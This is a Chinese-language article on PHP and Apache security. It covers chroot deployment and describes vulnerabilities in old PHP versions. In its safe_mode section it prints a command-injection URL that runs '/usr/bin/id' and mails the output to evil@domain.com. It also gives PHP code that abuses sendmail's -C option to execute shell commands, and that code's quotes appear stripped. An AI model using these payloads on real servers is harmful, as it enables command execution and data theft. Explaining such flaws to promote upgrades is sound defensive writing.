PHP其實不過是Web服務器的一個模塊功能，所以首先要保證Web服務器的安全。當然Web服務器要安全又必須是先保證系統安全，這樣就扯遠了，無窮無盡。PHP可以和各種Web服務器結合，這里也只討論Apache。非常建議以chroot方式安裝啟動Apache，這樣即使Apache和PHP及其腳本出現漏洞，受影響的也只有這個禁錮的系統，不會危害實際系統。但是使用chroot的Apache后，給應用也會帶來一定的麻煩，比如連接mysql時必須用127.0.0.1地址使用tcp連接而不能用localhost實現socket連接，這在效率上會稍微差一點。還有mail函數發送郵件也是個問題，因為php.ini里的：
| [mail function] ; For Win32 only. SMTP = localhost ; For Win32 only. sendmail_from = me@localhost.com |
都是針對Win32平臺，所以需要在chroot環境下調整好sendmail。
二、PHP本身問題
1、遠程溢出
PHP-4.1.2以下的所有版本都存在文件上傳遠程緩沖區溢出漏洞，而且攻擊程序已經廣泛流傳，成功率非常高.
2、遠程拒絕服務
PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST請求處理遠程漏洞，雖然不能獲得本地用戶權限，但是也能造成拒絕服務。
3、safe_mode繞過漏洞
還有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函數繞過safe_mode限制執行命令漏洞，4.0.5版本開始mail函數增加了第五個參數，由于設計者考慮不周可以突破safe_mode的限制執行命令。其中4.0.5版本突破非常簡單，只需用分號隔開后面加shell命令就可以了，比如存在PHP腳本evil.php：
執行如下的URL：
http://foo.com/evil.php?bar=;/usr/bin/id mail evil@domain.com
這將id執行的結果發送給evil@domain.com。
對于4.0.6至4.2.2的PHP突破safe_mode限制其實是利用了sendmail的-C參數，所以系統必須是使用sendmail。如下的代碼能夠突破safe_mode限制執行命令：
#注意，下面這兩個必須是不存在的，或者它們的屬主和本腳本的屬主是一樣：
| $script=/tmp/script123; $cf=/tmp/cf123; $fd = fopen($cf, w); fwrite($fd, OQ/tmp Sparse=0 R$* . chr(9) . $#local $@ $1 $: $1 Mlocal, P=/bin/sh, A=sh $script); fclose($fd); $fd = fopen($script, w); fwrite($fd, rm -f $script $cf; ); fwrite($fd, $cmd); fclose($fd); mail(nobody, , , , -C$cf); ?＞ |
還是使用以上有問題版本PHP的用戶一定要及時升級到最新版本，這樣才能消除基本的安全問題。